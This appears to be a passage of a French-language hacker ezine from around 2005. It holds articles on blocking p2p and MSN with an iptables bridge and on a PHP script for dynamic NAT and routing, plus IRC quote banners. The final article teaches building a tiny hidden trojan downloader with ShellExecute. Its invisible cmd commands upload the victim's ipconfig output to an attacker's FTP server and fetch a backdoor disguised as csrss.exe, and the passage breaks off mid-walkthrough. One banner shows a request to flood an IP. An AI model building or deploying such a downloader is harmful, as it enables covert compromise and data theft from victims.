séquences qu'il connait et drop le paquet s'il a rencontré un match  avec  n'importe quel des 
séquences.  D'ailleurs, c'est pour cela qu'il faut une bonne machine!

	Le version  que  initnull  et  moi  avons  modifiée, ajoute de nouvelles séquences et 
améliore celle par défaut. Par exemple, nous avons  conçu  un  module pour éradier totalement 
MSN et les web messenger du réseau.

	À noter, pour terminer,  que  malheureusement  lorsque les logiciels de p2p update ou 
passe à une nouvelle version, il arrive que les séquences  ne  soit  plus  valide.  Ce module 
requiert une maintenance continue.
 


///////////////////////////////////////////
/-=== 2. Matériel et Logiciels Requis ===-/
///////////////////////////////////////////

	Matériel Requis:
		- Un  PC plus puissant qu'un céléron 333 (si vous avez plus de 5mbit de bande 
                  passante)
		- 2 carte réseau 10/100 ( 2 carte réseau 10/100/1000 font encore mieux )

	Logiciel Requis:
		- Linux
		- bridge-utils
		- iptables
		- Module iptables-p2p légèrement modifier par initnull et mr_peuch
			---> Fichier dispo ici : http://www.mindkind.org/mr_peuch/iptables.tgz
                        (aussi disponible dans la version full .tar.gz du ezine)

///////////////////////////
/-=== 3. Installation ===-/
///////////////////////////

	Lors de la procédure d'installation, nous allons considérer que :
		- Vos  2  cartes  réseaux  sont  détectés  par  le  OS et sont présentes dans 
                  ifconfig
		- Iptables est fonctionnel et tous les modules necessaires ont été installés
		- Vous êtes un sysadmin accompli
		- De  toute  manière, il  y  a un readme dans le fichier fourni et un install 
                  script :P

iptables -F
rmmod ipt_p2p
make clean
make
cp ./iptables/libipt_p2p.so /usr/lib/iptables/
rm -f /lib/modules/2.6.11-rc1/kernel/ipt_p2p.ko
cp ./kernel/ipt_p2p.ko /lib/modules/2.6.11-rc1/kernel/
insmod /lib/modules/2.6.11-rc1/kernel/ipt_p2p.ko


	

////////////////////////////
/-=== 4. Configuration ===-/
////////////////////////////

a. Création du bridge
	#Création d'un interface virtuelle
	brctl addbr MSNDevil

	#Assignation des interfaces
	brctl addif eth0
	brctl addif eth1

	#Active l'interface
	ifconfig MSNDevil up
	
	nb. en ne donnant pas de IP a l'interface virtuelle, il sera impossible pour vous  ou 
            quiconque de  se  ployer  sur  cette  machine  a  distance.  Si vous envisagez la 
            possibilité qu'un jour vous ayez à vous ployez à distance, donner lui un IP.

	ps. Copier  ces  lignes  dans /etc/rc.d/rc.local (eh oui, j'utilise slack) pour qu'au 
            démarrage tout ce reconfigure like a pro.

b. Création de l'ACL

	Il existe 3 level de sysadmin :
		- Le parano
		- Le normal
		- Le bretteux

	Pour le parano :
		#On block toute les p2p et msn a tlm
		iptables -A FORWARD -m p2p --p2p all -j DROP

	Pour le normal :
		#On n'oubli de ce bloquer
		iptables -A FORWARD -s monipleet -m p2p --p2p all -j ACCEPT
		iptables -A FORWARD -d monipleet -m p2p --p2p all -j ACCEPT
		
		#Personne est cool as yourself anyway ( On drop le reste )
		iptables -A FORWARD -m p2p --p2p all -j DROp

	Pour le bretteux :
		#Gl HF
		#On jou avec le module en fonction des besoins du monde, des hres et des hres 
		#de plaisir fou

	ps. Mettre sa dans /etc/rc.d/rc.firewall pour que qu'au démarrage tout ce reconfigure

-==					            ==-
-=  Site D'essais : **level 1 clearance required**   =-
-=		Results : Working Good		     =-
-==					     	    ==-

VOILA! 			

(c) Copyright 2005-2006 - Mr_Peuch, InitNull( qui ne sais pas que son nom est dans ce texte)

EOF





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|<An0n1mUs> peu tu mfaire planter so?                        \_ \   \\_  \_ \ 1   
 || |<An0n1mUs> sam gosse                                          \\_  \_ \   \\_ 1  + 
 || |<An0n1mUs> 66.252.6.15                                        \_ \   \\_  \_ \ 1   
 ||'|<An0n1mUs> jel flood                                            \\_  \_ \   \\_  x 
 || |<An0n1mUs> pi tout sa marche po                                 \_ \   \\_  \_ \  `
 || |<An0n1mUs> yer po plantable                                       \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr un endroit remplit de gentlement fier et débrouillard        ]=\:\  |
  \__\__________________________________________________________________________________/ 


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O7]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ ip route, iptable and I       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: tourne a gauche, a gauche, A GAUCHE TABARNAC              ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Wyzeman     ]=\:\ _//     
                                                  \__\________________________/__/ 

	

	Apres avoir vu notre x refuser pour #code.fr undernet, a cause que par  erreur javais 
joigner le chan avec le meme ip pour mes 2 users, jme suis dit  fuck,  jamais  plus  et je me 
suis atteler a terminer un vieux projet oublier pour des raisons plutot obscure et enboucaner 
par la memoire weedique. Cetais un  projet  de  routing + nat  dynamique  afin  de partager a 
lensemble dun reseau des  ip internet different ( le routing etant necessaire a tout ceux qui 
on pas de switch  et  utilise  des  cartes  reseau  supplémentaire  dans  leur  routeur  pour 
compenser). De plus il sagit dune bonne occasion pour démontrer qu'on peu facilement utiliser 
php comme puissant langage de script console. 


	Le script qui suit est adapter a toute connection dynamique, mais peu aussi supporter 
sans probleme ny modification linclusion dune ligne physique  stable de type cable combiner a 
plusieur interface ppp dune connection adsl a la  seul  limitation  que la ligne stable devra 
etre utiliser comme interface par default  (jusqu'a  l'amélioration  de  se script.  Pour   y 
arriver, seulement 3 petite etapes seront necessaire

	1) collecte et parsing des ip internet
	2) ajustement des table de nat
	3) ajustement des table de routing (seulement si vous navez pas 
	   de switch/hub).

minimal requirement 
	1) php 4
	2) iproute2
	3) iptables
	4) module nat et masquerading du kernel, 2.4 ou 2.6
	5) ifconfig 


	
etape  1) collect et parsing des ip internet

	la maniere la plus simple consiste a appeller ifconfig a l'aide  de  la commande  php 
shell_exec rediriger dans une variable buffer et  ensuite  d'analyser  se  buffer.  afin   de 
simplifier le contenu a parser, l'utilisation de grep est une bonne idee. 

$bin['ifconfig']="/sbin/ifconfig |grep addr:";
$exeption[1]="192.168.0.1";
$exeption[2]="192.168.1.1";
$exeption[3]="192.168.2.1";
$exeption[4]="127.0.0.1";


	//parsing des ip
	//cette commande retourne dans $ret le resultat de /sbin/ifconfig |grep addr 
        //ce qui fait en sorte que seul les lignes ou apparraisse un addresse ip sont
        //conserver
	@$ret = shell_exec($bin['ifconfig']);
	//on decoupe le tout en mots, afin de rendre possible lanalyse individuel de
        //chacun de ceux ci.
	$word = explode(" ",$ret);
	$z = 0;
	for ($x=0;$x<count($word);$x++)
		{
//		echo $x." ".$word[$x]."\r\n";
		//la petite gymnastique qui suit sert a separer les ip de "addr:" 
                //de leur format originel "addr:192.168.1.1" et sert aussi de
		//trigger a savoir si on a un ip ou pas (si le mots present est addr:
		//le mots suivant est un ip)
		$addr = explode(":",$word[$x]);
		for ($y=0;$y<count($addr);$y++)
			{
			if ($addr[$y] == "addr")
				{
				$nbr = $y;
				$nbr++;
				//echo $addr[$nbr]."with".array_search($addr[$nbr],$exeption)."\n";
				//ici on recherche tout squi nest pas dans la liste dexeption. 
				//array_search retourne la location du segment rechercher dans larray
				//sous forme numeric, donc sil ne le trouve pas, le contenu du return
                                //nest pas numeric (et non il ne retourne pas 0 puisque 0 pourrais
                                //etre un identifiant d'array.
				if (!is_numeric(array_search($addr[$nbr],$exeption)))
					{
					//echo $addr[$nbr]."\n";
					$ip[$z]=$addr[$nbr];
					$z++;
					}
				}
			}
		}



	bon, tout ca devrais nous donner un array ($ip) contenant  tout  les  ip  lister  par 
ifconfig  qui ne sont pas defini comme ip local dans larray $exeption. a parti de ces ip nous 
allons  retravailler  les  tables  de  nat  et de routing afin de les rendre compatible a nos 
besoin.

2) ajustement des table de nat

	Comme  se  sujet  a  largement  été  expliquer  dans  un  précédent article écrit par 
init_null je ne métendrais pas trop sur le sujet, et  me  contenté  de  vous  dire  le strick 
minimum pour que ca fonctionne. Il faut modifier les  options  PREROUTING  ET POSTROUTING des 
tables nat et attribuer un ip net a un ip local. Lancer a partir dun bash shell cest commende 
prenne les formes  suivante.  Repetez l'operation autant de fois que vous avez de pc a linker 
(les pc non identifier vont prendre par default les  valeurs  du  routeur  (qui  par  default 
utilise la premiere connection internet disponible). 

iptables -t nat -A PREROUTING -d 67.68.123.34 -p TCP --dport 1:65535 -j DNAT --to 192.168.1.200
iptables -t nat -A POSTROUTING -s 192.168.1.200 -p TCP -j SNAT --to 67.68.123.34

	et  pour  satisfaire les autres clients inatendu et leur partager la  connection  par 
default

iptables -t nat -A POSTROUTING -j MASQUERADE


	le probleme qui fait qu'un script est necessaire pour  tout  ca  est  que  la  valeur 
(fictive) du ip net (67.68.123.34, dans lexemple ici), est  une  valeur  dynamique  qui   est 
changer a chaque fois que la connection avec  le  isp  (fai) est demander. la parti #1 sur le 
parsing servait justement a  identifier  ces ip ($ip) que nous devons maintenant attribuer au 
ordi de notre reseau locale ($client).


$bin['iptables']="/sbin/iptables";
//cest variable serve a définir les ip de vos 
$client[0]="";
$client[1]="192.168.1.200";
$client[2]="192.168.2.200";

	// reset du routing nat
	// comme on veut faire ca simple on sassure de reseter les regles de nat avant dajouter les nouvelles. 
	shell_exec($bin['iptables']." -t nat -F");
	//recreation du routing nat
	for ($x=$supervariablehot;$x<$z;$x++)
		{
	//	echo $bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]."\r\n";
	//	echo $bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]."\r\n";
		@shell_exec($bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]);
		@shell_exec($bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]);
		//shell_exec($bin['route']." del default");
		
		}
	shell_exec($bin['iptables']." -t nat -A POSTROUTING -j MASQUERADE");


il ne faudrais pas oublier dajouter dans votre fichier  local  du  processus  init  la  ligne 
suivante, elle authorise le kernel a utiliser les regles de nat contenu dans le firewall.

echo "1" > /proc/sys/net/ipv4/ip_forward



2.1) supplement : support dhcp et ip statique.


	Il est possible de configurer un serveur DHCP de facon a ce que  vos  ip  de  machine 
local soit confirmer par le dit serveur au lieu detre hardcoder dans  chaque  conf et que vos 
ordi conserve toujours le meme ip (cest pratique pour  utiliser  la  variable  $exeptio n  du 
script). on y arrive avec une configuration semblable a celle ci :
	

#pour tout ce qui est inconu utilisant la carte ethernet #1 comme gateway
#on defini un range de ip dans lequel faire un choix, le nom des serveur 
#dns ainsi que le ip du routeur
subnet 192.168.1.0 netmask 255.255.255.0 {
        range 192.168.1.100 192.168.1.254;
        option broadcast-address 192.168.1.255;
        option domain-name-servers 192.168.1.1, 66.201.225.97;
	option routers 192.168.1.1;
}



#pour tout ce qui est inconu utilisant la carte ethernet #2 comme gateway
#meme chose en gros que pour la carte #1
subnet 192.168.2.0 netmask 255.255.255.0 {
        range 192.168.2.100 192.168.2.254;
        option broadcast-address 192.168.2.255;
        option domain-name-servers 192.168.2.1, 66.201.225.97;
        option routers 192.168.2.1;
}


#pour different materiel identifier par la mac addresse, des ip peuvent etre 
#preselectionner et forcer, des host peuvent etre utiliser, mais si vous en 
#utiliser des moindrements bizard votre serveur dns doit etre selectionner 
#comme #1 dans le fichier /etc/resolv.conf avant ceux donner par votre isp
host laptop {
        hardware ethernet 00:02:3F:6A:00:D6;
        fixed-address Spoutnik.wyzeman.mkd;
#       fixed-address 192.168.2.2;
        option routers 192.168.2.1;
}

host tower {
        hardware ethernet 00:0A:E6:8A:4B:4C;
        fixed-address Playstation.wyzeman.mkd;
        option routers 192.168.1.1;
}



2.2)forcer le service locale comme dns par default


dans  le  fichier  rc.local ( ou  sont  equivalent (/etc/conf.d/local.start sous  gentoo  par 
exemple)). ajouter les lignes suivante :


echo "nameserver 192.168.1.1" > /etc/antiresolv.conf
cat /etc/resolv.conf >> /etc/antiresolv.conf
mv /etc/antiresolv.conf /etc/resolv.conf


elle permettre de forcer la machine locale comme premier serveur dns tout en  conservant ceux 
donner  par  default  a  votre  machine  lors  du processus initial (noter que si vous lancer 
pppoe-start apres, ca va annuler leffet de ce "patch")


3) ajustement des table de routing



 	Il ne reste plus qu"une seul etape à accomplir avant datteindre notre but.  Celle  de 
dynamiser les tables de routing. Noter que cette etape est nescessaire   uniquement  si  vous 
utilisez plusieur carte reseau au lieu dun switch (puisque  celle-ci doivent etre sur un sous 
réseau different les un des autres. (192.168.1.1 ,  192.168.2.1, etc) (notez que vous  pouvez 
recreer un peu le meme environement en  creant  des  interfaces virtuel (eth0:0 eth0:1, etc). 
Vous devez a prime abord creer  2  nouvelle table dans le fichier conf de route. (cette etape 
na besoin que detre  faite  une  fois,  alors  elle na pas ete integrer a ce script (pour une 
version + complete voir un affaire de script++ plus loin dans ce ezine).



Un coup cest table creer, pour les rendres fonctionnel, elle doivent etre equiper d'un set de 
rules, 2 en particulier, une qui definira  la  connection par default a utiliser pour tout ce 
qui sera referer a cette table  par  la creation de la 2eme rulez qui elle sert de "catcher". 
Dans mon exemple  jai  creer  2  table  soit  PPP1  et  PPP2  qui represente respectivement 2 
interface adsl du meme nom. Si je tapais c ligne a la main ca ressemblerais a ceci:



ip route add default via 67.68.123.34 dev ppp1 table PPP1
ip route add from 192.168.1.200 table PPP1


la 2eme rule envoyant tout ce qui vient de 192.168.1.200 a la table PPP1 qui elle stipule que 
toute requete passant par elle doit utiliser la sorti net 67.68.123.34  sauf  sous indication 
contraire. repetez la meme procedure pour  tout  les interfaces que vous desirez linker a une 
machine en particulier.



$bin['route']="/sbin/ip route";
$bin['rule']="/sbin/ip rule";

//represente ici le nom des tables que vous desirer donner pour les differentes rules
//que vous allez creer. Pour le premier rien nest nescessaire puisque la rules par
//default (route add default gw ip), va fonctionner, et cette rulez est creer par 
//adsl-connect
$route[0]="";
$route[1]="PPP1";
$route[2]="PPP2";

$client[0]="";
$client[1]="192.168.1.200";
$client[2]="192.168.2.200";



	for ($x=$supervariablehot;$x<$z;$x++)
		{
		@shell_exec($bin['route']. " flush table ".$route[$x]);
		@shell_exec($bin['rule']." del from ".$client[$x]." table ".$route[$x]);
		@shell_exec($bin['route']." add default via ".$ip[$x]." dev ppp".$x." table ".$route[$x]);
		@shell_exec($bin['rule']." add from ".$client[$x]." table ".$route[$x]);
		}


	Nous voici donc avec un script utilisable qui permet  de  sharer  entre  plusieur  pc 
local plusieur ip web different. Etant donné que  les  avantages  d'une  telle  configuration 
parle deux memes, je ne vois pas le besoin de  métendre  sur les raisons  pour  lesquel  vous 
devriez utiliser linformation expliqué dans cette article.  Je  me  contenterais donc de vous 
souhaiter  un heureux routing. 

voici le code dans sont integraliter :


<?PHP
//then wyzeman create this mini world
set_time_limit(0);

//path des executables (la solution la plus simple
//pour ouvrir une porte est de tourner la poigner)
$bin['ifconfig']="/sbin/ifconfig |grep addr:";
$bin['iptables']="/sbin/iptables";
$bin['route']="/sbin/ip route";
$bin['rule']="/sbin/ip rule";
//ip des amis sur le reseau, fuck les guess 
//i sont masquerade plus loin anyway
//si vous etes en dhcp vous etes assez vieu
//pour lire une mac address (man dhcpd)
$client[0]="";
$client[1]="192.168.1.200";
$client[2]="192.168.2.200";
//nom des tables de routing (le main est reecrit par rp-pppoe btw)
$route[0]="";
$route[1]="PPP1";
$route[2]="PPP2";
//liste des ip qui ne sont pas a router
//genre les ip des cartes reseau du routeur
//et le local loop bret cossin
$exeption[1]="192.168.0.1";
$exeption[2]="192.168.1.1";
$exeption[3]="192.168.2.1";
$exeption[4]="127.0.0.1";
//PS : la valeur represenant la carte linker au HSE sont "bidon",
//vu que aussi bien utiliser le main default routing pour le routeur 
//lui meme. dans mon cas c eth0 alors $client[0] et $route[0] ne
//sont pas pris en compte si la variable suivante est a 1 (donc,
//vous pouvez nater aussi le ppp0 et le partager avec un autre ordi
//(oublier pas que le masquerade utilse aussi le ppp0)) !
$supervariablehot =1;
//PSS : linverse est aussi vrai pour reserver un pool de ip ppp pour 
//votre routeur ou un autre reseau.

while(1)
	{
	//parsing des ip
	@$ret = shell_exec($bin['ifconfig']);
	$word = explode(" ",$ret);
	$z = 0;
	for ($x=0;$x<count($word);$x++)
		{
//		echo $x." ".$word[$x]."\r\n";
		$addr = explode(":",$word[$x]);
		for ($y=0;$y<count($addr);$y++)
			{
			if ($addr[$y] == "addr")
				{
				$nbr = $y;
				$nbr++;
				//echo $addr[$nbr]."with".array_search($addr[$nbr],$exeption)."\n";
				if (!is_numeric(array_search($addr[$nbr],$exeption)))
					{
					//echo $addr[$nbr]."\n";
					$ip[$z]=$addr[$nbr];
					$z++;
					}
				}
			}
		}
	// reset du routing nat
	shell_exec($bin['iptables']." -t nat -F");
	//recreation du routing nat
	for ($x=$supervariablehot;$x<$z;$x++)
		{
	//	echo $bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]."\r\n";
	//	echo $bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]."\r\n";
		@shell_exec($bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]);
		@shell_exec($bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]);
		//shell_exec($bin['route']." del default");
		
		}
	//criss de cossin poche pour ip route
	for ($x=$supervariablehot;$x<$z;$x++)
		{
		@shell_exec($bin['route']. " flush table ".$route[$x]);
		@shell_exec($bin['rule']." del from ".$client[$x]." table ".$route[$x]);
		@shell_exec($bin['route']." add default via ".$ip[$x]." dev ppp".$x." table ".$route[$x]);
		@shell_exec($bin['rule']." add from ".$client[$x]." table ".$route[$x]);
		}
	//pi fuck all le reste
	shell_exec($bin['iptables']." -t nat -A POSTROUTING -j MASQUERADE");

	//a ti pipi papa 
	sleep(10);
	}

?>

 


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |* eth has joined #hack.fr                                   \\_  \_ \   \\_ -  : '
 ||`|<eth> that site is gay                                      \_ \   \\_  \_ \ 1   
 || |<eth> how can you hack in french ?                            \\_  \_ \   \\_ 1  + 
 || |<eth> lol                                                     \_ \   \\_  \_ \ 1   
 ||'|<XJu|iAX> banner moi ca                                         \\_  \_ \   \\_  x 
 || |<eth> don`t know english ?                                      \_ \   \\_  \_ \  `
 || |<eth> gay french !                                                \\_  \_ \   \\_  
 ||,|* eth has left #hack.fr                                           \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr une place ou on hack en francais, oui oui!                   ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O8]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de shellexecute    ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: fun with shellexecute                                     ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    waxaw     ]=\:\ _//     
                                                  \__\________________________/__/ 



L'article qui suis se veut une introduction à la fonction ShellExecute et à certaine commande  
DOS. La  fonction  ShellExecute est disons très utile  car  elle  nous  permet  d'éxécuter un  
programme  à  partir du notre. Par exemple lorsque l'on démarre notre  programme il  pourrait 
ouvrir 1000 notepad. Ce qui est encore plus rigolo avec cette  fonction,  c'est  quelle  nous 
permet d'exécuter ces programme en cachant la fenêtre qui apparait  lorsque  l'on  exécute un  
programme. Par exemple ouvrir 1000 notepad invisible... Pour voir s'il sont vraiment  démarer  
il  suffit de faire ctrl+alt+del pour voir les 1000 notepads. 

C'est ben beau cette fonction mais ou cé que j'men sert!
Voici ce dont tu as besoin:
	MS Visual Studio 6.0  et  plus  précisément VC++ ( Pour la création de notre 
        programme. )
	FSG 2.0 - bart/xt ou Mew11 SE ( Pour que notre programme soit mini )
	Un compte bidon sur tripod.com pour un FTP gratuit.
	Un bon 5 min à perdre.

===========================================================================

Alors comment  j'utilise cette fameuse fonction? C'est très simple, vous  n'avez  qu'à suivre 
les étapes mousaillons!

1)	Ouvrir VC++ ( MSDEV.EXE )

2)	Créé un nouveau fichier en cliquant sur la  feuille  blanche  étoilée. (  Que   c'est 
        romantique )
	Copie et colle ceci :
	#include <windows.h>
	void startup()
	{
	SellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
	}

3)	Fait Ctrl+F7. BANG cat demande de créé un projet dit et répond oui. 

4)	Ensuite   tu   va   dans l'onglet "Build/Set active configuration" et met ca en Win32 
        Release. Ca va réduire de bcp la taille  du  programme  qui  va etre linker pour créé 
        un exe. 

5)	Fait Alt+F7. Va  dans  l'onglet  C/C++  et  dans  la boite de texte "Project Options" 
        copie et colle ceci : /ML /O1 /Fo"Release/" /c 

6)	Va dans l'onglet et dans la boite de texte "Project Options" copie et  colle ceci :
	shell32.lib /nologo /entry:"startup" /subsystem:windows /incremental:no 
        /pdb:"Release/w1ko.pdb" /machine:I386 	/nodefaultlib /out:"Release/w1ko.exe" 
        /ignore:4078 /merge:.rdata=.text /merge:.data=.text /merge:.reloc=.text 	
        /section:.text,erwx /opt:ref /stub:stub.exe 

7)	Clic OKidou

8)	Tu pèse F7 pis BOOM tu vient de créé un beau ti exe de 8 ko.

9)	La  tu  va  dans  le  dossier où ta créé ton projet et ensuite le dossier release. La 
        c'est  ton  exe.  Parce  que  8  ko c'est gros ben packer le avec Mew ou FSG et  vous 
        obtenez un exe de 700 octets.

10)	Maintenant Exécuter le :-)

Et oui, notepad ouvre... 

==================================================================


Voici comment la fonction ShellExecute fonctionne:

ShellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
	          -1-       -2-	-3-	     -4-      -5-                 -6-	

Débutons avec -1- et -5-, on s'en criss!

-2- Peut etre remplacer par:
	"Open": Pour ouvrir un fichier mais n'est pas nécessaire.
	"Explore": Peut servir à explorer un dossier.
	"Find": Pour faire une recherche dans un dossier.

-3- Le nom du programme  à  éxécuter,  il faut donner le chemin complet et séparer le  chemin 
    avec des \\ pour faire un \.  Par exemple c:\\windows\\system32\\calc.exe.  Les programme 
    qui sont situé dans la  variable  PATH  de Windows n'ont pas besoin  d'avoir leurs chemin 
    spécifié.

-4- Ce   parametre  sert  à  donner  les  paramètres  que  nous  voulons  exécuter avec notre 
    programme. C'est surtout pour les programmes en mode console. Par exemple Ping 127.0.0.1. 
    ceci va donner: ShellExecute(NULL, NULL, "ping.exe", "127.0.0.1", NULL, SW_SHOWNORMAL); 

-5-  Ca  c'est  le  plus  cool  des  paramètres. Il permet de choisir quelle type d'affichage 
     il y aura lorsque le  programme sera exécuter. Par exemple maximiser  ou  minimiser,  ou 
     bien tout simplement invisible :-) Lorsque l'on veut mettre des paramètre  qui  requiert  
     des  guillement  (""), il faut changer le " par un \". Exemple  pour  cacher  la fenêtre 
     faite:
     
     ShellExecute(NULL, NULL, "ping.exe", "127.0.0.1", NULL, SW_HIDE);
      
     Magique non?

pour en savoir plus allez voir:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp

========================================================================


Mais à quoi ca sert d'exécuter 1000 notepad allez-vous me demandez... lol ben à  rien.  C'est 
pourquoi  nous  utiliserons  ShellExecute  pour  nous  faire un beau petit FTP downloader qui 
ouvrira une backdoor. Pour ceux qui aime mieux ouvrir 1000 notepad, et  bien  fait  Alt+F4 et 
allez visiter www.avecsonchien.com. Ce qui est amusant c'est que notre FTP downloader ne fait 
même 1ko. C'est pourquoi, après un gramme  bat  de skunk  fou,  j'ai  décidé  d'appeler notre 
programme w1ko. Tout les  commandes  effectuées  par  w1ko  sont  en  DOS.  Hein  WTF?  Ouais  
en  dos  car  le  programme  que la fonction  ShellExecute  executera  sera   cmd.exe avec le 
paramètre /c. Ce parametre dit à cmd.exe d'exécuter les commandes dos que nous lui  donnerons 
et puis de se terminé. Oui mais  comment  jvais faire pour mettre plusieurs commandes sur une 
même ligne? Simplement en séparent les commandes par le caractère &.

Pour  avoir une idée plus claire des actions de w1ko, voici les commandes  DOS  qu'il exécute 
invisiblement

1) 	Exécute ipconfig et met les résultats dans un fichier nommé   ez%username%.tmp  situé 
        dans le temp. La  variable  %username%  représente  l'utilisateur  courant.  Donc  ce 
        fichier a un nom approprié à chaque victime. Ce fichier permetra de savoir  l'adresse 
        IP de la victime.
	
	ipconfig>%tmp%\ez%username%.tmp


2) 	Création   d'un   fichier   automatisé   qui   permetra   à   FTP.exe  de télécharger 
        automatiquement notre backdoor. Ce  fichier  contient  le  user/pass du FTP, l'envoie 
        du fichier ez%username%.tmp, le changement  de  répertoire  pour  le  téléchargement,  
        le  changement  de  type   de   téléchargement  pour  binary,  le  téléchargement  du 
        backdoor  qui  est ici csrss.exe et puis finalement un beau  ti bye bye au FTP.  J'ai 
        choisi  le  nom  csrss.exe  pour la backdoor car  lorsqu'un  programme  est  exécuter  
        sous ce nom il ne peut être arrêter avec   "Terminer le processus".  Ce  fichier  est  
        créé dans le dossier temp sous le  nom  de ez1.tmp. En   passent  pour  ceux  qui  se  
        demande  ce  que  signifie  %path:~0,19%   ben  c'est  en  fait  c:\windows\system32.  
        C'a  prend moins de caractères ;-)
	
	echo user le_user_name>%tmp%\ez1.tmp
	echo le_password>>%tmp%\ez1.tmp
	echo put %tmp%\ez%username%.tmp>>%tmp%\ez1.tmp
	echo lcd %path:~0,19%\wins>>%tmp%\ez1.tmp
	echo bin>>%tmp%\ez1.tmp
	echo get csrss.exe>>%tmp%\ez1.tmp
	echo bye>>%tmp%\ez1.tmp

3)	Exécution de FTP.exe  qui  suivra  les  commande  de  %tmp%\ez1.tmp  grace au 
        paramètre -s. Le  paramètre -v  supprime  l'affichage des réponses du serveur 
